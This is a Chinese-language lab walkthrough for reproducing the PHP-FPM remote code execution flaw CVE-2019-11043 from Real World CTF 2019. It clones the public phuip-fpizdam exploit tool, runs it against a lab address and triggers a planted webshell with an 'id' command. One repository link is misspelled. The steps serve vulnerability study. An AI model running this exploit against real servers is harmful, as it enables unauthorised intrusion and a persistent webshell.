PHP-FPM 远程命令执行 (CVE-2019-11043)
在 Real World CTF 2019 Quals 中发现了一个 PHP 远程代码执行 0-Day。
Real World CTF 2019 Quals 是由长亭科技在中国举办的 CTF 挑战赛。
参考:
- https://bugs.php.net/bug.php?id=78599
- https://lab.wallarm.com/php-remote-code-execution-0-day-discovered-in-real-world-ctf-exercise/
- https://github.com/neex/phuip-fpizdam
漏洞复现
环境启动后,可以在 处看到默认页面http://192.168.44.132:8080/index.php
。
使用此工具重现漏洞,需要高版本的go,https://github.com/neex/phiip-fpizdam:
1 | git clone https://github.com/neex/phuip-fpizdam.git |
运行执行
1 | $ go run . "http://192.168.44.132:8080/index.php" |
有东西表明该过程已成功完成:
PHP-FPM后台写了一个webshell,访问http://192.168.44.132/index.php?a=id
触发RCE:
您应该注意到只有部分 PHP-FPM 子进程受到污染,因此请多尝试几次执行该命令。